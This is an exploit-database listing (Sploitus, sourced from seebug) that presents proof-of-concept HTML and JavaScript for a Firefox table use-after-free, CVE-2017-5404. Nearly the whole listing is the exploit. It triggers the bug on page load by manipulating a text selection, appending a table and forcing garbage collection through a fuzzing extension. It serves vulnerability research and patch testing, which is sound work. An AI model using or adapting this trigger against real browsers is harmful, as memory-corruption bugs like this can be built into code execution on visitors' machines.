Sploitus

Exploit for Mozilla Firefox table use-after-free（CVE-2017-5404）

seebug · 2017-03-30

Exploit Code

MARKDOWN21 lines
## https://sploitus.com/exploit?id=SSV:92853
<style>
body { display: table }
</style>
<script>
function freememory() {
  try { fuzzPriv.forceGC(); } catch(err) { alert('Please install domFuzzLite3'); }
}
function go() {
  var s = document.getSelection();
  window.find("1",true,false,true,false);
  s.modify("extend","forward","line");
  document.body.append(document.createElement("table"));
  freememory()
}
</script>
<body onload=go()>
<table>
<th>u~Z1Cqn`aA}SOkre=]{</th>
</table>
<progress></progress>